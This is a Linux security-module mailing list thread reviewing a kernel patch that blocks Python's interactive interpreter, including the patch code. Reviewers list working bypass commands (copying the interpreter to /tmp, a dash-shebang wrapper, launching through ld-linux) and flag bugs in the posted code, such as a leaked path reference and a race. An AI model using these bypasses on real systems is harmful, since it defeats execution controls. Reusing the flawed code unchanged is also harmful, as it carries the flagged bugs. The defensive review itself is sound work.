I don't think we're trying to protect against executing the interpreter prior to the rename. Rename, itself, would trigger associating the interpreter name with an inode number.

Quoted 6 lines
Quoted 5 lines

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.html

Quoted 6 lines

Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.

Quoted 8 lines

Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.

Quoted 3 lines

This kind of xattr should be writable by the owner of the file. The TPE LSM [1] could then take these xattr into account according to the TPE policy.

Security xattrs are only writable by root.

This is currently the case but an exception for this kind of LSM could be allowed, or another dedicated prefix could be used.

#17 lore raw
Quoted 45 lines · Mickaël Salaün
Quoted 44 lines · Mimi Zohar
Quoted 17 lines · Mickaël Salaün
Quoted 16 lines · Tetsuo Handa
Quoted 10 lines · Kees Cook
Quoted 6 lines · Matt Brown

what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security.

Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?

As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P

Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.

Quoted 8 lines
Quoted 8 lines

While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it before rename().

I don't think we're trying to protect against executing the interpreter prior to the rename. Rename, itself, would trigger associating the interpreter name with an inode number.

Quoted 11 lines
Quoted 5 lines

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.html

Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.

Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.

Quoted 6 lines
Quoted 4 lines
Quoted 3 lines

This kind of xattr should be writable by the owner of the file. The TPE LSM [1] could then take these xattr into account according to the TPE policy.

Security xattrs are only writable by root.

This is currently the case but an exception for this kind of LSM could be allowed, or another dedicated prefix could be used.

Better yet, use "user.tpe.whatever" and explicitly look for that in your xattr hooks, denying access based on whatever criteria you like. You could allow it to be set, but never deleted, for example. You can do it all within shebang without creating exceptions or new prefixes.

#18 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

In reply to Tetsuo Handa
Quoted 9 lines · Tetsuo Handa
Quoted 8 lines · Kees Cook
Quoted 6 lines · Matt Brown

what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security.

Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?

Quoted 8 lines
Quoted 3 lines

As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P

Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.

How is blacklisting environmental variables more dangerous than whitelisting? I'm just suggesting the blacklist be used for the environmental vars used to bypass the interpreter protections. I don't think we need a full blown LSM for that.

Quoted 10 lines

While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it before rename().

Isn't there a way to take a reference to the inode to prevent the race condition? I was thinking that a sysfs file could be written to to update the list of interpreter paths.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

#19 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

In reply to Matt Brown
Quoted 10 lines · Matt Brown
Quoted 4 lines

What about execution via ld-linux ?

   $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2

Just tested this and you are correct, this allows you to bypass the protection.

I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 in the list of interpreters.

I'm not using BTRFS/OCFS2, but what about reflink()? They are copy-on-write while separate inodes are used. Does that mean inode number differs but attributes associated with that inode is same (i.e. inode number based blacklisting fails)? --
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

author
#20 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

In reply to Tetsuo Handa
Quoted 16 lines · Tetsuo Handa
Quoted 7 lines · Mimi Zohar

This patch defines a new, minor LSM named "shebang", that restricts python such that scripts are allowed to execute, while the interactive prompt/interpreter is not available. When used in conjunction with an IMA appraise execute policy requiring files signatures, only signed python scripts would be allowed to execute. (A separate method for identifying "imported" code would need to be defined in order to verify their file signatures.)

Below case is blocked by IMA?

   $ cp -p /usr/bin/python2 /tmp
   $ /tmp/python2

Below case is also blocked by IMA?

Quoted 7 lines
   $ echo '#!/usr/bin/python2 -' > /tmp/run-python
   $ chmod +x /tmp/run-python
   $ /tmp/run-python

What about execution via ld-linux ?

   $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2

Assuming that you require file signatures on anything that is executed, then only signed binaries, with the public key loaded on to the IMA keyring, would be executed.

Quoted 29 lines
Quoted 29 lines
security/shebang/shebang_python.c new file +29 -0
+#define MAX_INODES 6 
+static char *pathnames;
+static int pathnames_len;
+static unsigned long inode_list[MAX_INODES];
+static int total;
+
+/*
+ * Get the inodes associated with the list of pathnames, as specified
+ * on CONFIG_SECURITY_SHEBANG_PATHNAME.
+ */
+static void init_inode_list(void)
+{
+	char *tmp_pathnames = pathnames;
+	char *p;
+	struct path path;
+	int i;
+	int ret;
+
+	total = 0;
+	while ((p = strsep(&tmp_pathnames, " ,")) != NULL) {
+		if ((*p == '\0') || (*p == ' ') || (*p == ','))
+			continue;
+
+		if (total > MAX_INODES - 1) {
+			pr_info("too many interpreters\n");
+			break;
+		}
+
+		ret = kern_path(p, LOOKUP_FOLLOW, &path);
Quoted 8 lines

security/shebang/shebang_python.c line 58

Quoted 6 lines
security/shebang/shebang_python.c new file +6 -0
+		if (!ret) {
+			struct inode *inode = d_backing_inode(path.dentry);
+
+			inode_list[total] = inode->i_ino;
+			pr_info("pathname:%s i_ino: %lu\n",
+				p, inode_list[total]);

Leaking reference to "struct path".

kern_path() is calling "getname_kernel(name)", but that is later freed. ?I'm not seeing it. ?What are you referring to? ??

Quoted 4 lines
Quoted 4 lines
security/shebang/shebang_python.c new file +4 -0
+			initialized = 1;
+			total++;
+		}
+	}
Quoted 8 lines

security/shebang/shebang_python.c line 68

Quoted 6 lines
security/shebang/shebang_python.c new file +6 -0
+
+	/* cleanup in case we need to lookup the inodes again. */
+	tmp_pathnames = pathnames;
+	for (i = 0; i < pathnames_len; i++)
+		if (tmp_pathnames[i] == '\0')
+			tmp_pathnames[i] = ' ';

Why need to restore?

The patch description just mentions replacing the list of pathnames with a set of inodes, but doesn't go into the implications of this change. ?When the interpreter package is updated, the list of inodes would need to be updated as well.

Some method for updating the list of inodes would be needed. ?Probably the security_inode_unlink and security_inode_rename hooks would be a good place to trigger the inode list update.

Quoted 13 lines
Quoted 13 lines
security/shebang/shebang_python.c new file +13 -0
+}
+
+/**
+ * shebang_bprm_check - prevent python interactive prompt/interpreter
+ * @bprm: contains the linux_binprm structure
+ *
+ * Restrict python such that scripts are allowed to execute, while the
+ * interactive prompt/interpreter is not available.
+ */
+static int shebang_bprm_check(struct linux_binprm *bprm)
+{
+	struct inode *inode = file_inode(bprm->file);
+	int i = 0;
Quoted 8 lines

security/shebang/shebang_python.c line 87

Quoted 6 lines
security/shebang/shebang_python.c new file +6 -0
+
+	if (bprm->interp != bprm->filename)	/* allow scripts */
+		return 0;
+
+	if (!initialized)
+		init_inode_list();

init_inode_list() can be called concurrently.

Good catch. ?Thank you.

Mimi

Quoted 31 lines
Quoted 13 lines
security/shebang/shebang_python.c new file +12 -0
+
+	while (i < total) {
+		if (inode_list[i++] != inode->i_ino)
+			continue;
+
+		pr_info("prevent executing %s (ino=%lu)\n",
+			bprm->interp, inode->i_ino);
+		return -EPERM;
+	}
+	return 0;
+}
+

security/shebang/shebang_python.c line 109

Quoted 10 lines
security/shebang/shebang_python.c new file +10 -0
+static struct security_hook_list shebang_hooks[] = {
+	LSM_HOOK_INIT(bprm_check_security, shebang_bprm_check)
+};
+
+static int __init init_shebang(void)
+{
+	pathnames = kstrdup(CONFIG_SECURITY_SHEBANG_PATHNAME, GFP_KERNEL);
+	if (!pathnames)
+		return -ENOMEM;
+	pathnames_len = strlen(pathnames);

Why need to kstrdup()?

  static char pathnames[] = CONFIG_SECURITY_SHEBANG_PATHNAME;
  static int pathnames_len = sizeof(pathnames) - 1;

will be fine.

Quoted 10 lines

security/shebang/shebang_python.c line 117

Quoted 8 lines
security/shebang/shebang_python.c new file +8 -0
+
+	security_add_hooks(shebang_hooks, ARRAY_SIZE(shebang_hooks), "shebang");
+	pr_info("initialized\n");
+	return 0;
+}
+
+late_initcall(init_shebang);
+MODULE_LICENSE("GPL");

Nice example for loading as a LKM-based LSM. ;-)

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

#21 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

Quoted 10 lines · Mimi Zohar
Quoted 9 lines

security/shebang/shebang_python.c line 58

Quoted 7 lines
security/shebang/shebang_python.c new file +7 -0
+		ret = kern_path(p, LOOKUP_FOLLOW, &path);
+		if (!ret) {
+			struct inode *inode = d_backing_inode(path.dentry);
+
+			inode_list[total] = inode->i_ino;
+			pr_info("pathname:%s i_ino: %lu\n",
+				p, inode_list[total]);

Leaking reference to "struct path".

Quoted 2 lines

kern_path() is calling "getname_kernel(name)", but that is later freed. I'm not seeing it. What are you referring to?

See tomoyo_realpath_nofollow() for example. Where is path_put()?
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html